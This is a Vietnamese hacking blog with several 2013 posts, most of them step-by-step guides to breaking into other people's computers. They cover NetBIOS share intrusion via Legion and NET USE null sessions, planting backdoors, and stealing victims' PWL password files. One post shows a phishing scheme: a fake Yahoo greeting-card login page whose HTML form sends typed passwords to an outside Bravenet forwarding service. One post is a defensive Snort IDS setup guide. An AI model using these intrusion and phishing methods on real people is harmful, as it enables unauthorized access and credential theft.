Chủ Nhật, 25 tháng 8, 2013

on Leave a Comment

Tu trang bi cong cu cho minh

 


Tự trang bị công cụ cho mìnnh :
-Trước tiên bạn cần 1 shell account, cái này thực sự quan trọng đối với bạn.1 shell account tốt là 1 shell account cho phép bạn chạy các chương trình chính như nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...và shell account đó cần phải cài chương trình GCC (rất quan trọng trong việc dịch (compile) các exploit được viết bằng C) như MinGW, Cygwin và các dev tools khác.
Shell account gần giống với DOS shell,nhưng nó có nhiều câu lệnh và chức năng hơn DOS shell.Bạn có thể kiếm shell account ở đâu ? Thông thường khi bạn cài *nix thì bạn sẽ có 1 shell account, nếu bạn không cài *nix thì bạn nên đăng ký trên mạng 1 shell account free hoặc nếu có ai đó cài *nix và thiết lập cho bạn 1 shell account thì bạn có thể log vào telnet (Start --> Run --> gõ Telnet) để dùng shell account đó. Sau đây là 1 số địa chỉ bạn có thể đăng ký free shell account :
http://www.freedomshell.com/
http://www.cyberspace.org/shell.html
http://www.ultrashell.net/
....
Các bạn có thể tự tìm thêm và chọn cho mình 1 shell account ưng ý.

-NMAP : Công cụ quét cực nhanh,mạnh. Có thể quét trên mạng diện rộng và đặc biệt tốt đối với mạng đơn lẻ. NMAP giúp bạn xem những dịch vụ nào đang chạy trên server (services/ports:webserver,ftpserver,pop3,...),server đang dùng hệ điều hành gì,loại tường lửa mà server sử dụng,...và rất nhiều tính năng khác.Nói chung NMAP hỗ trợ hầu hết các kỹ thuật quét như : ICMP (ping aweep),IP protocol,Null scan,TCP SYN (half open),... NMAP được đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà quản trị mạng trên thế giới.
Mọi thông tin về NMAP bạn tham khảo tại http://www.insecure.org/
Download : Nmap 2.54 Beta 30 for Windows
NmapNT - A Win32 port of nmap v 2.53
Stealth HTTP Security Scanner : Công cụ quét lỗi bảo mật tuyệt vời trên Win32. Nó có thể quét được hơn 13000 lỗi bảo mật và nhận diện được 5000 exploits khác.
Download : Stealth HTTP Security Scanner v2.0 Build 36
IntelliTamper : Công cụ hiển thị cấu trúc của 1 Website gồm những thư mục và file nào, nó có thể liệt kê được cả thư mục, file có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack 1 Website thì bạn phải nắm 1 số thông tin của Admin và Website đó.
Download : IntelliTamper v2.07

-Netcat : Công cụ đọc và ghi dữ liệu qua mạng thông qua giao thức TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp hoặc sử dụng chương trình, script khác để điều khiển Netcat. Netcat được coi như 1 exploitation tool do nó có thể tạo được liên kết giữa bạn và server cho việc đọc và ghi dữ liệu (tất nhiên là khi Netcat đã được cài trên 1 server bị lỗi). Mọi thông tin về Netcat bạn có thể tham khảo tại http://www.l0pht.com/
Download : Netcat 1.10 for Unix
Netcat 1.10 for WinNT
Netcat* (+ twofish encryption)
Netcat 1.10 for NT* (+ twofish encryption)
Active Perl : Công cụ đọc các file Perl  đuôi *.pl vì các exploit thường được viết bằng Perl .
Download : Active Perl
L0phtCrack : Công cụ số một để Crack Password của Windows NT/2000 .
Download : L0phtCrack 3.0
L0phtCrack 4.0

-Linux : Hệ điều hành hầu hết các hacker đều sử dụng.

-Cuối cùng là thông tin về vulnerabilities và các exploits (thường được viết bằng C,perl) được cập nhật thường xuyên trên các Website sau :
Bugtraq
Xploits
Tlsecurity
Ossr.phpwebhosting
Securityfocus
Htsecurity
MegaSecurity
EyeonSecurity
Hy vọng bài viết này giúp bạn tự trang bị cho mình những công cụ cần thiết để có thể tấn công bất kỳ server nào.

Thứ Bảy, 24 tháng 8, 2013

on Leave a Comment

Su Dung Legion

 

XÂM NHẬP MÁY TÍNH QUA MẠNG

Thong thuong mot hacker truoc khi xam nhap may tinh, thuong co gang cai mot trojan mo cong de xam nhap, noi tieng nhat la Trojan Back office. 
Cong cu can thiet: 
Dau tien ban can la mot truong trinhsacn goi la Netbios scaner, Legion hay Winhackgold. Chuong trinh se scan tat ca cac may co chia se file tren cung mot netbios. 
Tuy nhien cach nay chi su dung voi nhung may chay Windows 9x va su dung File and Sharing . . .
Nhung chuong trinh nay co san tai Web Site: http://kickme.to/tuanvinh
Bat dau: 
Sau khi ket noi vao mang, ban vao Star/run roi danh winipcfg, ban se nhan duoc mo dia chi IP ma ISP gan cho ban moi khi ban ket noi, neu ban ket noi bang modem thi so IP nay se thay doi goi la IP dong. 
Trong muc SCAN FROM cua legion ban hay danh dia chi IP cua minh vao. Vi du minh co: 202.150.12.19 thi toi danh trong legion la 202.150.12 thoi. Bay gio mo muc TO cua Legion ban danh 202.150.xx (xx la dia chi IP bat ki ban danh vao). 
Bay gio an nut SCAN, Legion se bat dau scan va cho tat ca cac ia chi IP no tim thay 1-254. Neu ban may man thi khi cho IP ban se nhin thay sau: 
Share resources at\\202.11.11.42
Sharename Type Comment
A Disk Floppy
CDRIVE Disk C:\Drive
DDRIVE Disk D:\Drive
CDROM Disk CD-Rom Read only
The command was completed successfully 
Hay kick vao dic chi IP doo voi lenh cua USE Net ban se co quyen kiem soat dia chi IP do. 
Trong cua so Dos-Promt ban hay su dung cac lenh sau: 
NET USE [drive: | *] [\\computer\directory [password | ?]]
[/SAVEPW:NO] [/YES] [/NO] 
NET USE [port:] [\\computer\printer [password | ?]]
[/SAVEPW:NO] [/YES] [/NO] 
NET USE drive: / */HOME 
drive Specifies the drive letter you assign to a shared directory.
* Specifies the next available drive letter.
If used with /DELETE, specifies to disconnect all of your connections. Port Specifies the parallel (LPT) port name you assign to a shared printer. Vomputer Specifies the name of the computer sharing the resource.
Directory Specifies the name of the shared directory. Printer Specifies the name of the shared printer.
Password Specifies the password for the shared resource, if any.
? Specifies that you want to be prompted for the password of the shared resource. You don't need to use this option unless the password is optional.
/SAVEPW:NO Specifies that the password you type should not be saved in your password-list file. You need to retype the password the next time you connect to this resource.
/YES Carries out the NET USE command without first prompting you to provide information or confirm actions.
/DELETE Breaks the specified connection to a shared resource.
/NO Carries out the NET USE command, responding with NO automatically when you are prompted to confirm actions.
/HOME Makes a connection to your HOME directory if one is specified in your LAN Manager or Windows NT user account. 
To list all of your connections, type NET USE without option. 
To see this information one screen at a time, type the following at the command prompt: 
NET USE /? \MORE
Or
NET HELP USE \MORE 
Sau khi xam nhap vao may nay xong.
Ban nen mo 1 Port va cai san 1 BackDoor.
Lan sau ban co the vao thang may do va nam quyen toi cao.
Tuy nhien theo toi dung nen lam dung qua nhieu dong lenh.
Dieu do lam cham dong du lieu den may tinh do.
Chu nhan cua no se co the phat hien ra su co mat cua ban.
Va ho chi can tat may la ban het cach.
HAY CAN THAN!
Chung ban thanh cong!

Thứ Sáu, 23 tháng 8, 2013

on Leave a Comment

Xam nhap vao may tinh cua Victim

 

Xâm nhập vào máy tính của Victim đang Online bằng chương trình Essential NetTools :
- Đầu tiên các bạn phải Download chương trình Essential NetTools :
Essential Net Tools 3.0Crack của nó
Rồi thực hiện các bước sau :
+ Giải nén files Essential Net Tools 3.0.zip bằng các công cụ giải nén như :
Winzip, Winrar...
Download tại : http://www.winzip.com/
Bước 1 : Thiết lập cấu hình
- Bạn vào trong Control Panel rồi vào Network
- Click vào nút Add  rồi chọn phần Client
- Tiếp tục nhấn nút Add. Rồi chọn phần Microsoft
- Chọn phần Client for Microsoft Network
- Cuối cùng là OK
Bước 2 : Bắt đầu xâm nhập
+ Ngay phần NBscan
ngay phần" Starting IP":
Đánh vào IP của bạn. Để biết số IP của bạn thì vào Start --> Run rồi gõ : "winipcfg"
VD :
203.162.11.1
hoặc :
202.167.122.1
Còn phần Ending Ip :
203.162.11.255
hoặc :
202.167.122.225
+ Sau đó click chuột vào nút Start
+ Chờ sau giây lát !
Nó sẽ xuất hiện danh sách IP sau khi dò tìm !
+Ngay phần RS:
No : là không có xâm nhập vào được
Yes: là xâm nhập được (nhưng đôi khi thì không)
+ Nhấp chuột phải vào hàng mà có chữ "Yes"
- Nhấp vào phần "Open Computer"
+ Và sau đó các bạn có thể xâm nhập vào máy của victim được nhưng cũng có thể có mấy cái máy không xâm nhập vào được !
Nhưng đột nhập để làm gì ?
Chúng ta đột nhập để ăn cắp Acount và dữ liệu của victim !
Ắn cắp Password bằng cách lấy files PWL của victim trong :
C:/window/*.PWL
Rồi dùng công cụ PWL Tool để đọc được file đó

Thứ Năm, 22 tháng 8, 2013

on Leave a Comment

Hack Pass cap cao nhat cua hacker

 

Hack Password cấp cao nhất của hacker :

Xin giới thiệu anh em 1 cách hack password cấp độ thuộc
hàng 5 sao đấy
Chiêu này để lấy pass của các co thử nhưng không đề phòng
Một số bạn bảo là làm sao dụ victim vào web qua trang của chúng ta
nhưng các cao thủ hoặc menber chỉ vô hòm thư qua trang www.mail.yahoo.com thôi
Vì vậy để hack được cần phải đưa vào tính tò mò của con người như
send quà tặng
Nói chung là có 2 cách
Cách 1 :
Send victim 1 cai greetings có dạng như greetings that
Nhưng địa chỉ để xem qua lại là 1 cái relogin có chứa đoạn ăn cắp pass
của mình
Giả sử victim mà tôi cần chôm pass có địa chỉ là anhvinhynwa@yahoo.com
thì tôi sẽ send 1 cái greetings đến như sau cái này là của tôi đem ra làm ví dụ
thôi
Lehuong311 chíh là tôi để lừa pass
Chào anh em muốn làm qun và học về Hack, thấy cái tên
hautuoc_buon hay hay nên toi thử gửi thư cho anh xem, nhớ mail lại cho
tôi nhé
Surprise! You've just received a Yahoo! Greeting
from "Huong" (lehuong311@yahoo.com)!
To view this greeting card, click on the following
Web address at anytime within the next 30 days.
Please view it in TK image and greetings
http://VIEWYOURGREEINGSWITHCODEISHTBFNR54TB.TK
or
http://viewyourgreetingswithcode=ISHTBFNR54TB.dk3.com
If that doesn't work, go to http://view.greetings.yahoo.com/pickup and
copy and paste this code:
ISHTBFNR54TB
Enjoy!
TK group is a division of yahoo company
The Yahoo! Greetings Team
-------------------------
Yahoo! Greetings is a free service. If you'd like to send someone a
Yahoo! Greeting, you can do so at http://greetings.yahoo.com/
New! SBC Yahoo! Dial... 1st Month Free & unlimited access.
http://pa.yahoo.com/*http://rd.yahoo.com/sbcyahoo/consumer/greettag/evt=639/*http://sbc.yahoo.com
Để làm được như vậy các bạn cần làm như sau :
1 - Đăng lập 1 hòm thư có dạng yourgreetings hoặc mygreetings
(Cái này để lừa victim vì victim tưởng đây là quà)
2-Vào hòm thư sau đó vô option-->Account information--change password
Bạn sẽ được thấy 1 trang trong đó có ghi sẵn ID của bạn và có dòng
verify password
to continue
Hãy ghi trang này lại sau đó dùng 1 công cụ edit như notepad để sửa cái tên ID của bạn thành của  victim (dùng lệnh find mà làm) và sửa đoạn verify password to continue thành verify password to continue view
this greetings
vd: http://viewyourgreeingswithcodeishtbfnr54tb.tk/
- Cái này làm ra với mục đích để lừa victim đánh pass vào để xem quà tặng
- Sau đó bạn chèn thêm 2 dòng sau
- dòng 1 :
<form action="http://pub18.bravenet.com/emailfwd/senddata.php"
method="post" enctype="multipart/form-data">
<input type="hidden" name="usernum" value="1544102702" />
<input type="hidden" name="cpv" value="1" />
(tham khảo bài ăn cắp pass qua webserver trung gian dễ hiểu)

1 dòng có dạng :
<form action="http://view.greetings.yahoo.com/greet/view?2BAFQBTZGKHW8XX"
Tức là để lừa victim đến 2 trang
1- trang brave
2-trang có quà tặng (để victim không nghi ngờ)
Sau đó upload lên geoticities là ok
Chọn host thì bạn cần đánh vài cái tên có vẻ giống quà tặng như
vd của tôi là :
http://viewyourgreetingswithcode=ht45mn.dk3.com
hay
http://VIEWYOURGREEINGSWITHCODEISHTBFNR54TB.TK
Sau khi đã upload xong bạn chỉ cần làm 1 hộp thư mới với tên con gái như của tôi là lehuong311 để lừa các cao thủ nhưng mê gái
Cách 2 : Dụ victim chỉ vào cái quá nó sẽ ra ô relogin = cách tạo ra 1 lỗi fakelogin

Bài viết của sirhoangducthedarktemplar


Thứ Tư, 21 tháng 8, 2013

on Leave a Comment

vnSecurity - Cài đặt nhanh hệ thống phát hiện xâm nhập dùng Snort+ACID

 

Cài đặt nhanh hệ thống phát hiện xâm nhập dùng Snort+ACID :

Hướng dẫn cài đặt nhanh hệ thống phát hiện xâm nhập (IDS) trên Linux/Unix sử dụng Snort với cơ sở dữ liệu mysql để lưu log, alert và ACID làm giao diện theo dõi.
* Yêu cầu hệ thống:
- mysql-3.23+ http://www.mysql.org/
- apache-1.3+ http://httpd.apache.org/
- php-4.04+ http://www.php.net/
- snort-1.8.3+ http://www.snort.org/
- acid-0.9.6+ http://www.andrew.cmu.edu/~rdanyliw/snort/snortacid.html
- adodb-1.2+ http://php.weblogs.com/adodb
- phplot-4.4.6+ http://phplot.sourceforge.net/ (tuỳ chọn để xem các thống kê dạng biểu đồ đưọc vẽ bằng thư viện gd, yêu cầu php phải được biên dịch hỗ trợ gd)
* Giả thiết:
- Hệ thống đã được cài đặt mysql, apache, php và hoạt động tốt (ví dụ RH 7.2).
- Địa chỉ mạng cục bộ cần theo dõi: 192.168.1.0/24
* Cài đặt snort và cấu hình snort.
Download mã nguồn:
http://www.snort.org/dl/snort-1.8.6.tar.gz
# tar zxvf snort-1.8.6.tar.gz
# cd snort-1.8.6
# ./configure --with-mysql=/usr
# make
# make install
# mkdir /etc/snort
# cp *.rules classification.config snort.conf /etc/snort/
Tạo bảng dữ liệu để lưu trữ snort log, alert:
# mysql -u root -p
mysql> create database snort;
mysql> grant INSERT,SELECT on snort.* to snort@localhost identified by '<password>';
mysql> exit
# mysql snort -u root -p < ./contrib/create_mysql
Sửa các thông số sau trong file /etc/snort/snort.conf
var HOME_NET 192.168.1.0/24
...
output database: log, mysql, user=snort password=<password> dbname=snort host=localhost
output database: alert, mysql, user=snort password=<password> dbname=snort host=localhost
Khởi động snort:
# /usr/local/bin/snort -D -d -v -i eth0 -c /etc/snort/snort.conf
* Cài đặt và cấu hình acid
Download mã nguồn:
http://www.andrew.cmu.edu/~rdanyliw/snort/acid-0.9.6b21.tar.gz
http://phplens.com/lens/dl/adodb190.tgz
http://prdownloads.sourceforge.net/phplot/phplot-4.4.6.tar.gz
Giải nén và đặt adodb, acid vào thư mục con của httpd DocumentRoot:
# cp acid-0.9.6b21.tar.gz /var/www/html
# tar zxvf acid-0.9.6b21.tar.gz
# cp adodb190.tgz /var/www/html
# tar zxvf adodb190.tgz
# cp phplot-4.4.6.tar.gz /var/www/html
# tar zxvf phplot-4.4.6.tar.gz
Kiểm tra xem php có được cấu hình đúng với gd không:
http://locolhost/phplot-4.4.6/examples/test_setup.php
Nếu không xem được các biểu đồ ví dụ, bạn phải xem lại php có được biên dịch với thư viện gd và đã bật hỗ trợ gd trong /etc/php.ini chưa (extension=gd.so).
Tạo bảng dữ liệu để lưu trữ các alert dành riêng cho acid:
# mysql -u root -p
mysql> create database snort_archive;
mysql> grant INSERT,SELECT on snort.* to snort_archive@localhost identified by '<password>';
mysql> exit
# mysql snort -u root -p < create_acid_tbls_mysql.sql
Cấu hình các thông số cần thiết cho acid trong file acid_conf.php
$DBlib_path = "../adodb";
$DBtype = "mysql";
/* Alert DB connection parameters */
$alert_dbname = "snort";
$alert_host = "localhost";
$alert_port = "";
$alert_user = "snort";
$alert_password = "<password>";
/* Archive DB connection parameters */
$archive_dbname = "snort_archive";
$archive_host = "localhost";
$archive_port = "";
$archive_user = "snort";
$archive_password = "<password>";
$ChartLib_path = "../phplot-4.4.6"; // tuỳ chọn, nếu php hỗ trợ gd
/* File format of charts ('png', 'jpeg', 'gif') */
$chart_file_format = "png";
Để an toàn, nên thiết lập yêu cầu xác thực cho các truy xuất đến thư mục acid trên web server.
File /var/www/html/acid/.htaccess:
AuthName ACID Secure Area
AuthType Basic
AuthUserFile /var/www/html/acid/.htpasswd
Allow from all
<limit GET POST>
require valid-user
</limit>
File /var/www/html/acid/.htpasswd:
acid:<encrypted password>
Thiết lập browser của bạn cho phép tất cả cookie từ host chạy acid. Hoàn tất quá trình cài đặt và bắt đầu sử dụng acid để theo dõi các hoạt động trên mạng được snort phát hiện:
http://localhost/acid/
* Tham khảo:
http://www.snort.org/
http://www.andrew.cmu.edu/~rdanyliw/snort/snortacid.html

__________________
--SkZ0

Thứ Ba, 20 tháng 8, 2013

on Leave a Comment

Cac buoc co ban de dot nhap trong LAN

 


Các bước cơ bản để đột nhập trong LAN :
Có một số thắc mắc về các cách để thâm nhập vào một máy tính trong LAN của các bạn mới vào và các câu trả lời thường không được thống nhất, còn các tài liệu English thì các bạn ngại đọc.
Ðặc biệt là đối với các máy trong LAN không share resources, điều đó không có nghĩa là bạn không thể vào được. Dưới đây tôi sẽ giới thiệu sơ lược cho các bạn một vài cách thức cơ bản để kiểm tra và tìm cách đột nhập vào 1 máy tính trong LAN.

1- Kiểm tra IPC share: IPC viết tắt của Inter-Process Communication, được dùng trong việc chia sẻ dữ liệu giữa các ứng dụng và máy tính trên mạng (NT/2K). Khi một máy được khởi động và log vào mạng, hdh sẽ tạo 1 chia sẻ ngầm định tên là IPC$. Nó sẽ giúp cho các máy khác có thể nhìn thấy và kết nối đến các chia sẻ trên máy này. Tuy nhiên, có thể vì một lý do gì đó, người dùng xóa mất IPC$ share, do đó, ta cần kiểm tra và tạo lại kết nối đến IPC$ (gọi là null connection), nếu kết nối thành công, ta có thể thấy được cả các chia xẻ đặc biệt được ẩn (bao gồm C$, ADMIN$, IPC$, IPC$). Cụ thể, dùng 1 trong 3 lệnh sau ở command prompt:
C:\>NET USE \\TARGET\IPC$ "" /USER:""
C:\>NET USE \\TARGET\IPC$ * /USER:
C:\>NET USE \\TARGET\IPC$ * /USER:""

trong đó: target là computername hoặc IP của máy bạn muốn kết nối.
Lưu ý, các chia xẻ có dấu $ phía sau tên chỉ ra rằng chia xẻ đó được ẩn và cách này chỉ áp dụng khi cổng NetBios 139 của máy bạn và máy đích được mở.
Thường là đối với chia xẻ dạng này, bạn sẽ ít có cơ hội khai thác được gì. Tuy nhiên, nếu may mắn, bạn vẫn có thể khai thác được trong trường hợp các chia xẻ đó không yêu cầu mật khẩu.

Kế đến, bạn dùng lệnh sau để xem các chia xẻ thấy được:
C:\>net view \\TARGET
Lệnh net view sẽ liệt kê danh sách các share của máy đích. Bạn dùng net view /? để biết thêm các cách dùng khác.
Sau khi tạo được null connection và biết được các share trên máy đối phương. Ðối với các share được bảo vệ bằng username/password, bạn có thể dùng các tool sau để thử crack chúng: Nat (NetBIOS Auditing Tool)...
Ðể tiết kiệm thời gian, bạn tìm và dùng thử chương trình xSharez scanner, cũng có thể cho bạn kết quả tương tự.

2- Kiểm tra các cổng mở
Một cách khác để connect vào một máy là duyệt các port mở của máy đích. Tuỳ loại port mà ta có cách thức khai thác khác nhau, đơn giản nhất là dùng telnet để connect vào máy thông qua port được mở, ví dụ: C:\telnet anhnguyen 69
Một số port thông dụng:
21: FTP
23: Telnet proxy server
25: SMTP
110: POP3
139: NETBIOS
1080: SOCKS proxy
6667: IRC mapping
.....
Các công cụ để scan port có rất nhiều, ví dụ như: superscan, elite, ....
Sau khi scan được port nào đang opened, nếu port đó ngoài những port trên, bạn thử dùng telnet để connect, nếu thành công, bạn có thể vào command prompt shell của máy đó.

3- Kiểm tra các lổ hổng của OS/Software
Cách cuối cùng tớ nói ở đây, cũng là cách khó nhất là duyệt xem máy đó đang dùng OS gì, server gì, software nào. Mỗi loại trên có các hole/vulnerability riêng, được tìm thấy và mô tả chi tiết trong các site về security như ntbugtraq, securityfocus, hoặc trong forum.
Từ những lổ hổng biết được, ta sử dụng các exploit tương ứng để thâm nhập vào máy.
Lỗi sơ đẳng nhất trong các system software là lỗi về cách đặt password, ví dụ như các máy Wins 9x có thể vào mà không cần password (tất nhiên là khi đó, người log vào sẽ bị hạn chế truy cập các tài nguyên mạng); hoặc như với NT/2K, sau khi setup, password ngầm định của adminnistrator là rỗng, nếu user không thay đổi pass cho admin, thì ta có thể connect remote được dưới username là administrator mà không cần pass.
Các lỗi còn lại thường là do các sai sót trong quá trình viết chương trình mà vô tình tạo nên những lỗ hổng, các đoạn code kiểm tra không đầy đủ, không stable...cho phép người dùng thực thi các lệnh, chạy các chương trình từ xa. Ví dụ như bug Unicode encoding của IIS4... Và cách thường dùng để nhập là tìm cách send 1 trojant/backdoor (điển hình như Netcat...)đến máy đó, chạy backdoor đó để mở 1 port nhất định nào đó, rồi ta sẽ connect remote vào port đó.

Trên đây chỉ là một số phương pháp sơ đẳng để giúp các bạn (newbie) hiểu được các cách thức có thể dùng để thâm nhập vào máy từ xa. Còn rất nhiều phương pháp khác mà tớ không liệt kê hết (vì không biết! hehe), các bạn sẽ từ từ tìm hiểm thêm.


Thứ Hai, 19 tháng 8, 2013

on Leave a Comment

Rỗi rãi dịch bài này chơi How Hackers

 

How Hackers/Crackers Break Into Your System ?
By Najmi
Trong vài năm trở lại đây thì vấn đề an toàn trên mạng thu hút được rất nhiều sự quan tâm. Sự hỗn độn và thay đổi chóng mặt của internet là yếu tố chính là cho người dùng và các doanh nghiệp phải tự mình tăng cường khả năng bảo mật cho máy tính và hệ thống mạng của họ.
Cách đây 10 năm, những người đã cài đặt các hệ thống máy chủ có rất ít hiểu biết và kỹ năng về bảo mật.  Và ngay cả hiện nay, trong số những người vẫn thường cài đặt hệ thống máy chủ vẫn còn rất nhiều thiếu kinh nghiệm về bảo mật.
Những người dung bình thường được trấn an bởi những thong báo từ các công ty lớn về các phương pháp bảo mật của họ. Nhưng không thể chối cãi được sự thật rằng hang tháng chúng ta lại có thêm những thong tin rắng hacker lại đột nhập vào đâu đó và lấy cắp thông tin.
Nhưng tại sao chúng ta lại phải quan tâm đến vấn đề đó. Tôi có thể nói về sự nghiêm trọng của việc deface (??) các trang web, ăn trộm các thong tin bí mật của công ty hay đột nhập vào các hệ thống của chính phủ, nhưng đơn giản hơn hãy để ý đến các lý do cá nhân mà chúng ta vần phải quan tâm.
Bây giờ xin đạt một câu hỏi. Bạn nghĩ thế nào về giá thị của các thông tin mà bạn có? Danh sách đối tác, email, số credit card hay các kế hoạch kinh doanh, báo cáo tài chính có ý nghĩa đối với bạn như thế nào?
Nếu tôi nói rằng tôi có thể đột nhập vào bất kỳ hệ thống nào, thì tôi có thể làm được những gì nhỉ? Tôi sẽ lấy số credit card để tiêu xài, thay đổi tài khoản ngân hang của bạn. Tôi có thể làm cho bạn trỏ thành mất tích ở trên mạng. Tôi cũng có thể bán các thong tin bí mật cho đối thủ cạnh tranh của bạn, hay làm cho hệ thống của bạn ngừng hoạt động, như vậy bạn sẽ bị lỗ nặng hehe.
Hoặc giả sử tôi là một nhân viên trong công ty của bạn, nhưng tôi bất mãn. Tôi có thể tấn công làm cho mạng không hoạt động, hay cài virus để cho bạn bị mất toàn bộ dữ liệu.
Bạn có chắc là chúng ta cần đến các biện pháp bảo mật không?
Vấn đề bảo mật có thể chia làm các nhóm sau:
1. Mạng và máy chủ bị cấu hình sai.
2. Hệ điều hành và ứng dụng bị lỗi.
3. Nhà cung cấp thiếu trách nhiệm
4. Thiếu những cá nhân đáng tin tưởng.
Cấu hình sai máy chủ:
Đây là nguyên nhân tạo ra đa phần các lỗ hổng bảo mật. Rất nhiều khi người quản trị không nhận biết được các dịch vụ đang chạy trên máy chủ của họ. Bạn có thể hỏi tại sao lại như vậy được? Hãy nghĩ đơn giản như chương trình Word, có bao nhiêu khả năng mà bạn biết được. Nếu biết một vài thứ cơ bản như viết macro thì bạn đã có thể trở thành người dung cao cấp rồi. Đa phần người dung chỉ biết đến các tính năng cơ bản như lưu, xoá, đánh vần, kẻ bảng .v.v.
Tương tự như vậy đối với hệ điều hành và ứng dụng. Sự thay đổi nhanh chóngcủa công nghệ làm cho chỉ một số ít người có thể theo kịp. Và như thê thì các máy tính nối mạng hiển nhiên là đang đối mặt với nguy cơ bị xâm nhập.
Sau đây là một vài ví dụ về các ứng dụng và dich vụ:
Hệ thống in trên mạng.
Hệ thống điều khiển từ xa.
Chia xe file.
Các mã CGI và script ví dụ.
Khi những hệ thống này sử dụng các giá trị mặc định hoặc bị cấu hình sai thì sẽ là cơ hội tốt để kẻ xấu (:)) xâm nhập.
Lỗi trong các ứng dụng:
Những lỗi nảy sinh khi lập trình là một yếu tố làm cho ứng dụng vượt ra ngoài tầm kiểm soát của người sử dụng. Ví dụ như những lỗi của MS IIS hay trong ISC BIND hay SSH và rất nhiều lỗi khác nữa trong các hệ thống của Sun. Đơn gian hơn nữa là lỗi của OE mà bạn có thể trở thành mục tiêu của virus, hãy nhớ tới "I LOVE YOU" hay "Melissa".
Những nhà cung cấp thiếu trách nhiêm:
Rất nhiều nhà cung cấp không quan tâm đến điều gì xảy ra trong chượng trình của họ. Việc đảm bảo chất lượng (QA)  trong ngành công nghiệp phần mềm rất yếu. Để tiết kiệm chi phí thì người ta thường không áp dụng những tiêu chuẩn về qui trình sản xuất. Thế thì ai phải chịu hậu quả của sự tối đầu của nhà cung cấp. Đó chính là các hệ thống mạng và máy tính bị phá hoại của bạn.
Trong trưòng hợp các bản sửa lỗi bị chậm chễ cũng có thể làm hại đến công tác bảo mật. Các khám phá lôc hổng  hoạt động với tốc độ ánh sang trong giới “chúng ta” . Từ các mail list hay diễn đàn như www.hackervn.net thì bọn họ chia xẻ với nhau những thong tin mới nhất, trong khi đó với sự chậm chạp của nhà cung cấp thì các hệ thống đã bị phá hoại chỉ sau một đêm.
Tư vấn không đủ trình độ:
Nếu như tất cả các vấn đề ở trên đều đựơc giải quyết thì bạn doanh nghiệp lại vấp phải một vấn đề khác là thiếu những các nhân đáng tin tưởng. Có thể thu thập một đỗi ngũ kỹ sư, quản trị và lập trình viên đủ trình độ, nhưng không dễ tìm ra các chuyên gia bảo mật giỏi, vì có lẽ bọn họ đã đi làm hacker hết cả rồi!.
Và không thể đào tạo đội ngũ chuyên gia bảo mật trong vài ngày. Đó là một quá trình rất dài, phải bắt đầu từ các kiến thức cơ bản như TCP/IP, phần cứng, hệ điều hành, mã hoá và lập trình. Nhưng như vậy mới chỉ đủ cho các hiểu biết sơ đẳng về bảo mật.
Việc thiếu nhân sự làm cho các chương trình về bảo mật trong doanh nghiệp bị xao lãng hoặc đi sai đường. Không có các chính sách về bảo mật hoặc nếu có thì không được hoàn chỉnh. Chính điều đó làm cho hệ thống của bạn bị tổn thương trước các cuộc tấn công.
Vậy thì các hacker xâm nhập vào hệ thống như thế nào?

Có thể vài người muốn kiện tôi vì việc viết ra nhưng tin này (có kiện thì kiên tác giả nhé đừng kiện người dịch). Tại sao? Đơn giản là bởi vì những thong tin sẽ được đưa ra có thể đem đến nhiều tác hại hơn là ích lợi (but not for hackers). Tôi không nói rằng những thong tin đó không thể bị lợi dụng, nhưng chỉ những ngưòi muốn bảo vệ chính mình, họ sẽ tìm thấy những gì họ muốn. Những thong tin này có đầy rẫy trên web và tất cả hacker đều biết. Còn những người dung bình thường thì không cần cố gắng để làm quen với chúng, vì chúng quá nguy hiểm. Bài viết chỉ đem đến cho họ một chút hiểu biết về những gì mà họ mong muốn.
Hacking có 9 bước đã được đề cập đến trong cuốn sách Hacking Exposed, bao gồm:
(chỗ này để đại TA cho dễ hiểu)
FootPrinting
Scanning
Enumeration
Gaining Access
Escalating Privileges
Pilfering
Covering Tracks
Creating "Back Doors"
Denial of Service
1. FootPrinting:
Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP, Whois, DNS ..v.v đại khái là những thong tin chính thức có lien quan đến mục tiêu. Nhiều khi đơn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm những thong tin đó.
2. Scanning:
Khi đã có nhưng thong tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành, .v.v.. Các công cụ được sử dụng ở đây như nmap, WS pingPro, siphon, fscam và còn rất nhiều nữa.
3. Enumeration:
Bước thứ ba là tìm kiếm những tài nguyên đựoc bảo vệ kém, hoạch tài khoản người dung mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu mặc định, các script và dich vụ mặc định. Rât nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này.  
4. Gaining Access:
Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thong tin có đựơc ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giả mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các trường hợp) password. Các tool thường được sử dụng ở bước này là NAT, podium, hoặc Lopht.
5. Escalating Privileges:
Ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và Riper là hai chương trình crack password rất hay được sử dụng.
6. Pilfering:
Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an toàn khác có thể là mồi ngon cho hacker.
7. Covering Tracks:
Sau khi đã có những thong tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai.
8. Creating "Back Doors":
Hacker để lại "Back Doors", tức là một cơ chế cho phép hacker truy cập trở lại bằng con đường bí mật không phải tốn nhiều công sức,  bằng việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan, keylog…
9. Denial of Service (aka DoS):
